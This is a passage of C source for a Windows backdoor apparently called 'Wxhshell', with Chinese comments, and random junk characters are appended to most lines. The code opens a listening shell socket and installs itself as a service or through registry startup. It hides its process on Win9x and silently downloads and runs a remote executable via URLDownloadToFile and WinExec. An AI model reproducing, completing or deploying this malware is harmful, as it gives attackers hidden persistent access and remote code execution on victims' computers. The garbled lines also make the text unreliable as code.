ULONG UniqueProcessId; A;-z#R#V5
ULONG InheritedFromUniqueProcessId; 7.
9s.*
} PROCESS_BASIC_INFORMATION; #A9_A%_.h
iWM7,=1+
PROCNTQSIP NtQueryInformationProcess; nX\]i~
}<ONx g6Kb
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D4Y!,7WEVt
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _~ZQ b
VnSj:LUD
HANDLE hProcess; P!+nZXo
PROCESS_BASIC_INFORMATION pbi; !Vr45l
I49l2>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zc/%1
if(NULL == hInst ) return 0; r@[VY g~
O
{6gNR,*
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _8b]o~[Z+
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XDdcq ]*|
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nj^q@h
_SIs19"lR
if (!NtQueryInformationProcess) return 0;
n22hVw
f:[d]J|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )n}]]^Sc
if(!hProcess) return 0; z[\W\g*|ri
_d[2_b1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~26s7S}
/ }XsuH
CloseHandle(hProcess); R8[iXXjku
>[XOMKgQ](
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B}q
if(hProcess==NULL) return 0; < [S1_2b.t
"T{~,'T
HMODULE hMod; d@6:|auO
char procName[255]; noaN@K[GO
unsigned long cbNeeded; =EcIXDzC>
1( ?CNW[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t}XB|h
qXB03}] G
CloseHandle(hProcess); lv00sa2z
QypiF*fSU
if(strstr(procName,"services")) return 1; // 以服务启动 k>:/D
^\vfos
return 0; // 注册表启动 PUE'Rr(Q
} RUS7Z~5
TDl!qp @
// 主模块 HTDyuqs
int StartWxhshell(LPSTR lpCmdLine) )iEa2uJ
{ MJ>Qq[0
SOCKET wsl; ^A11h6I
BOOL val=TRUE; xxLgC;>[
int port=0; h\=p=M
struct sockaddr_in door; XWUvP
v?YdLR
if(wscfg.ws_autoins) Install(); Ez/\bE
Bbl)3$`,
port=atoi(lpCmdLine); Y( 1L>4
c#{Ywh
if(port<=0) port=wscfg.ws_port; {+C %D'
.7pGx*WH^Y
WSADATA data; SRt$4EL21
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }\`(m\2xo
2vqmsl?
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $Yx6#m}[M
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +}c|O+6g
door.sin_family = AF_INET; Gut J_2f^9
door.sin_addr.s_addr = inet_addr("127.0.0.1"); /<(*/P,>
door.sin_port = htons(port); z-KrQx2
jiA5oX^g
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;Cr_NP[8|j
closesocket(wsl); i{tTUA
return 1; "pSH!0Ap\
} f
MY;
Kk!6B
if(listen(wsl,2) == INVALID_SOCKET) { ="3a%\
closesocket(wsl); !j!Z%]7
return 1; 6keP':bt
} ' "ZRD_"
Wxhshell(wsl); /h?<MI\7V
WSACleanup(); pu/m8
[{S;%Jj*X/
return 0; ~vW)1XnK
\LIy:$`8
} a.
h?4+^bN
js:C
mnI
// 以NT服务方式启动 LPEjRG,
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8- dRdQu]
{ X'V+^u@W
DWORD status = 0; !lR0w|
DWORD specificError = 0xfffffff; +(;8@"u
KY4d+~2
serviceStatus.dwServiceType = SERVICE_WIN32; \We"?1^
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8ivRp<9
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H|PrsGW
serviceStatus.dwWin32ExitCode = 0; d^KBIz8$5l
serviceStatus.dwServiceSpecificExitCode = 0; !(kX~S
serviceStatus.dwCheckPoint = 0; O24Jj\"
serviceStatus.dwWaitHint = 0; -M"IVyy@
M*d-z
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !2GHJHxv]c
if (hServiceStatusHandle==0) return; KK:N [x
o;ik Z*+*
status = GetLastError(); q{a#HnZo"
if (status!=NO_ERROR) >?S\~Y
{ |'ZN!2u
serviceStatus.dwCurrentState = SERVICE_STOPPED; @4;HC=~
serviceStatus.dwCheckPoint = 0; ~_ *H)|
serviceStatus.dwWaitHint = 0; |if'_x1V
serviceStatus.dwWin32ExitCode = status; 98BYtxa
serviceStatus.dwServiceSpecificExitCode = specificError; ^4+r*YvcM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y{,2X~ 7
return; 5B}3GBA
} 4Z*|Dsw
%/P=m-K
serviceStatus.dwCurrentState = SERVICE_RUNNING; {UP'tXah
serviceStatus.dwCheckPoint = 0; pPoH5CzcK
serviceStatus.dwWaitHint = 0; |kId8WtA
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3"5.eZSOW
} FI\IY
R
{5SfE$r
// 处理NT服务事件,比如:启动、停止 +Qt[1Xq
VOID WINAPI NTServiceHandler(DWORD fdwControl) P?uf?{
{ smV!y8&
switch(fdwControl) %>i@F=O2<
{ "cwR^DoD&
case SERVICE_CONTROL_STOP: .\$Wy$ d
serviceStatus.dwWin32ExitCode = 0; iDZrK%fl
serviceStatus.dwCurrentState = SERVICE_STOPPED; y
$:yz;
serviceStatus.dwCheckPoint = 0; -<6v:Z
serviceStatus.dwWaitHint = 0; d;{y`4p)s
{ Hfke
SetServiceStatus(hServiceStatusHandle, &serviceStatus); a~WqUL
} FS8S68
return; &(g|="T
case SERVICE_CONTROL_PAUSE: d5Qd'
serviceStatus.dwCurrentState = SERVICE_PAUSED; T0r<O_ubOA
break; |H:<:*=6c
case SERVICE_CONTROL_CONTINUE: NW)M?f+6
serviceStatus.dwCurrentState = SERVICE_RUNNING; 7UnzIe
break; C(s\LI!r
case SERVICE_CONTROL_INTERROGATE: T:U4:"
break; N?$7Z v[G
}; ;J'OakeVO
SetServiceStatus(hServiceStatusHandle, &serviceStatus); L.kD,'G}>
} (Q'U@{s
)`<6taKx@n
// 标准应用程序主函数 QskUdzQ=
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 82|q7*M*.
{ `0?^[;[u[
IdF$Ml#[h
// 获取操作系统版本 8hZwQ[hr
OsIsNt=GetOsVer(); ^1.7Juvb
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7gm:ZS
>{QdMn
// 从命令行安装 H-Pq!9[DB
if(strpbrk(lpCmdLine,"iI")) Install(); ;|6FdU
XoJgs$3B
// 下载执行文件 `
VwN!B:
if(wscfg.ws_downexe) { U%q:^S%#eG
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FRgLlp8x
WinExec(wscfg.ws_filenam,SW_HIDE); Mm.Ql
} Q&gPa]z]}
p'80d:
if(!OsIsNt) { %[XY67A3I
// 如果时win9x,隐藏进程并且设置为注册表启动 z>|)ieL
HideProc(); -?5$ PH
StartWxhshell(lpCmdLine); l~['[Ub0)
} 9k}<F z"^.
else \e|U9;Mf
if(StartFromService()) ;b1wk^,Hw~
// 以服务方式启动 /~*Cp9F"]
StartServiceCtrlDispatcher(DispatchTable); ,%Z&*n
else n$YE !D'
// 普通方式启动 P_}/#N{C
StartWxhshell(lpCmdLine); gD6tHg>_
/VO^5Dnb
return 0; $3 4j6;oN
}